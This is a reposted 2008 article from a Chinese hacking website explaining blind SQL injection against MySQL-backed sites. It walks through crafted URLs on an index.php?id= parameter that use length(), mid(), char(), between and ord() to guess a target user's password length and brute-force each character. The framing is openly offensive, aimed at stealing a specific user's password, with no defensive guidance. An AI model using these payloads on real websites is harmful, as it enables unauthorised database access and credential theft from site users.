奥运倒计时: 2008 中国挺住,中国加油! 全国人民对四川汶川大地震遇难同胞的深切哀悼! 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 黑客攻防 >> 正文

MySQL下的高级黑客技术

作者:佚名    文章来源:网络转载    点击数:    更新时间:2008-5-2

在MySQL中内置了很多函数,利用它们,即使在没有联合查询功能的老版本MySQL上也可以做一些意想不到的操作。假设网站存在于http://www.****.com/,我们想知道用户ID等于10的用户的密码,那么首先进行如下请求:
http://www.****.com/index.php?id=10 and length(password)=12#

    我们通过length()函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是12位,注意数字后要有一个#号。接下来用mid()和char()暴力猜解口令的每一个字符,如果猜对了则页面返回正常:
http://www.****.com/index.php?id=10 and mid(password,1,1)=char(0x60)#

    Mid()函数原型是“Mid(str,pos,len)”,也可以用substring()函数。Char()函数的参数是ASCII值,在0~255之间,一个遍历过去就可以完成破解
    另外还可以用between()函数先判断这个字符是数字还是字母,缩小范围,加快暴力破解的速度。例如要判断字符是否是小写字母还可以用如下请求:
http://www.****.com/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

    除了char()函数,还可以用ord函数来进行猜解。Ord函数可以得到字符的ASCII值,所以它也能实现类似的功能:
http://www.****.com/index.php?id=10 and ord(mid(password,1,1))=0x6D#

    用ord函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围:
http://www.****.com/index.php?id=10 and ord(mid(password,1,1))>0x41#

文章录入:随风追忆    责任编辑:随风追忆 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    固顶文章利用ewebeditor编辑器批量检测网站(图)
    推荐文章防止Windows全局钩子的入侵
    推荐文章如何关闭端口防止病毒与黑客入侵
    推荐文章实例讲解跨站入侵攻防战之攻击篇
    推荐文章什么是远程登录全程解析
    推荐文章看看黑客是如何给我们的系统种上木马的
    推荐文章利用cain还原加密后的ftp密码
    推荐文章黑客攻防实战之对有防火墙网站入侵过程
     热门文章
    推荐文章如何关闭端口防止病毒与黑客入侵
    普通文章Linux提权记录
    推荐文章什么是远程登录全程解析
    推荐文章看看黑客是如何给我们的系统种上木马的
    推荐文章剑走偏锋之灵巧的脚本注入方式
    推荐文章瑞星公司11月12日发布 每日计算机病毒及木马
    推荐文章一个Web网页下蠕虫的简单实现
    推荐文章推荐:Ce-Admin新闻发布系统漏洞分析
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号